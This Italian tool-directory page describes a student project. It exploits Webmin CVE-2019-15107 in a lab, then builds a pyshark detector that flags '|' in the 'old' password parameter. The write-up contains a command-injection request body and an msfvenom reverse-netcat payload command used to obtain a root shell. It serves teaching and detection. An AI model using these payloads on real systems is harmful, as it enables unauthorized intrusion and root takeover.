Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
detect-CVE-2019-15107-by-pyshark — progetto scolastico | Kitploit
Strumenti/GitHubGitHub/gozn/detect-cve-2019-15107-by-pyshark
Sniffing e Analisi dei PacchettiAnalisi delle VulnerabilitàExploitSicurezza WebSicurezza di ReteRilevamento IntrusioniApprendimento e Formazione
GitHubgozn/detect-cve-2019-15107-by-pyshark

detect-CVE-2019-15107-by-pyshark

progetto scolastico

Vedi Repository
122 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

detect-CVE-2019-15107-by-pyshark

I. Panoramica su CVE-2019-15107 Webmin è un'interfaccia web per l'amministrazione di sistema per Unix. Utilizzando qualsiasi browser web, è possibile configurare account utente, Apache, DNS, condivisione file e molto altro. Il 10 agosto 2019, il ricercatore di sicurezza informatica turco Özkan Mustafa Akkuş ha divulgato la vulnerabilità Zero-day al DefCon; oltre alla divulgazione, Akkuş ha anche rilasciato un modulo Metasploit per automatizzare lo sfruttamento di questa vulnerabilità. A causa di una vulnerabilità di esecuzione di codice nella funzione di reimpostazione della password del file password_change.cgi, questa vulnerabilità consente a terzi di eseguire codice dannoso senza autenticazione dell'input. II. Versioni interessate Questa vulnerabilità interessa le versioni di Webmin da 1.882 a 1.921. Per prevenire questa vulnerabilità, chi utilizza Webmin dovrebbe aggiornare all'ultima versione 1.93. III. Analisi della vulnerabilità In Webmin, la funzionalità "consenti modifica password utente" deve essere abilitata per sfruttare questa vulnerabilità. Questa è l'unica condizione; tuttavia, molti amministratori Webmin attivano questa funzionalità. Essa consente agli utenti di impostare una nuova password con la vecchia password. Nel codice sorgente di Webmin, ci sono diversi file ".cgi" degni di nota. Uno di questi è password_change.cgi. image

C'è un solo requisito affinché i parametri in questo file funzionino: il valore "passwd_mode" nel file di configurazione "miniserv.conf" deve essere impostato su "2".

image

A questo punto, utilizzeremo "|" leggendo il file /etc/shadow durante la verifica della vecchia password. Ad esempio, il comando normale di cambio password: image

Se inseriamo un semplice comando come "ifconfig" nel comando di cambio password come mostrato sotto, il comando "ipconfig" viene eseguito e il risultato viene visualizzato. image

IV. Modello di deployment

  • Macchina Ubuntu (vittima) con Webmin versione 1.920 installato, indirizzo IP: 192.168.109.128 image

  • Macchina Kali (attaccante) con indirizzo IP: 192.168.109.131 image

  • Poiché questa CVE sfrutta la funzionalità di reimpostazione della password quando la vecchia password è scaduta in Webmin, la vittima deve configurare Webmin in modalità "Prompt users with expired password to enter a new one". image

V. Sfruttamento della vulnerabilità CVE

  • Come primo passo, la macchina attaccante utilizza Burp Suite per intercettare le richieste inviate durante il cambio password su Webmin dal link: 192.168.109.128:10000/password_change.cgi (IP della vittima) image

  • Successivamente, la macchina attaccante invia questa richiesta nella scheda Repeater di Burp Suite per testare la vulnerabilità. image

  • L'attaccante modifica alcune informazioni dal pacchetto di richiesta intercettato. Poiché per cambiare password il metodo HTTP deve essere POST e non GET come inizialmente. image

  • Quindi la macchina attaccante invia una richiesta di prova per cambiare password dalla vecchia password al server Webmin della vittima: “user=test&pam=&old=test&new1=test2&new2=test2” image

  • Quando inviamo la richiesta, riceviamo un messaggio che indica che la vecchia password non corrisponde (The current password is incorrect), quindi il punto cruciale è il parametro “old”

  • Successivamente, proviamo a inserire un comando di base come ifconfig dopo il parametro old, in modo che quando il server verifica la vecchia password, esegua anche il comando inserito. Ad esempio: “user=test&pam=&old=test|ifconfig&new1=test2&new2=test2” image

  • Analogamente, quando il server verifica la vecchia password, è ancora errata, ma dopo la verifica, il comando “ifconfig” viene eseguito e visualizzato.

  • Successivamente, per ottenere i privilegi di root, utilizziamo Metasploit framework per creare un payload da inviare al server Webmin della vittima per ricevere una shell session. “msfvenom -p cmd/unix/reverse_netcat lhost= lport=” image

  • Successivamente, copiamo il payload e lo inseriamo nella richiesta su Burp Suite. image

  • Dopo aver inviato la richiesta contenente il payload al server Webmin, la macchina vittima viene compromessa con una reverse shell. La macchina attaccante riceve una sessione di shell verso la macchina vittima (IP: 192.168.109.128, porta 37218). image

  • In questo modo, abbiamo ottenuto l'accesso root tramite questa vulnerabilità CVE. image

VI. Determinazione della firma dell'attacco

  • Utilizziamo Wireshark per catturare i pacchetti a livello di rete. image

  • Poiché per sfruttare questa CVE, l'attaccante deve basarsi sul link /password_change.cgi per inviare richieste contenenti payload dannosi tramite il metodo POST di HTTP, dobbiamo analizzare i pacchetti HTTP catturati con Wireshark. image

  • Vediamo che il comando “ifconfig” viene inserito durante la verifica della vecchia password da parte del server Webmin. image image

  • Pertanto, determiniamo che la firma di questa CVE sono i parametri passati durante il cambio password tramite il link /password_change.cgi “user=test&pam=&old=test | <comando che l'attaccante vuole eseguire> &new1=test2&new2=test2” VII. Costruzione dello strumento di rilevamento per l'attacco CVE-2019-15107

  • Come analizzato sopra, l'attaccante per sfruttare questa CVE deve inserire un comando nel parametro old (“vecchia password”) per poter eseguire l'attacco. image

  • Per rilevare chi sta tentando di inserire comandi basati su questa vulnerabilità CVE, dobbiamo catturare e analizzare i pacchetti HTTP inviati utilizzando lo strumento “pyshark”. image

  • I dati nel pacchetto HTTP catturato vengono restituiti in formato esadecimale. Basandoci sul parametro “old=” e su “|”, possiamo sapere se qualcuno sta tentando di sfruttare questa CVE. La funzione checkPayload verifica se il pacchetto HTTP è sospetto. image

  • Successivamente, dopo aver identificato quali pacchetti HTTP sono sospetti, la funzione getCommand stampa i comandi che l'attaccante sta eseguendo. image

  • Il processo di cattura e analisi dei pacchetti viene anche registrato in formato .csv image

VIII. Demo del programma

  • Quando l'attaccante effettua un attacco, il programma emette un avviso in tempo reale. image

  • Quando il programma viene arrestato, registra un file .csv con tutto il traffico catturato durante l'esecuzione (payload http in formato esadecimale) image

  • Il programma registra anche un log degli avvisi di pericolo. image

IX. Conclusione Attraverso il processo di apprendimento e lo svolgimento di esercitazioni pratiche in classe, sono riuscito a comprendere in parte il processo di analisi e analisi del malware. Sfruttando e costruendo il programma di rilevamento per la vulnerabilità CVE-2019-15107, ho potuto applicare le conoscenze apprese per analizzare e costruire un programma di rilevamento delle vulnerabilità tramite firme, migliorando così la capacità di analisi, rilevamento e gestione delle informazioni, nonché il monitoraggio della sicurezza di rete.

Scarica lo strumento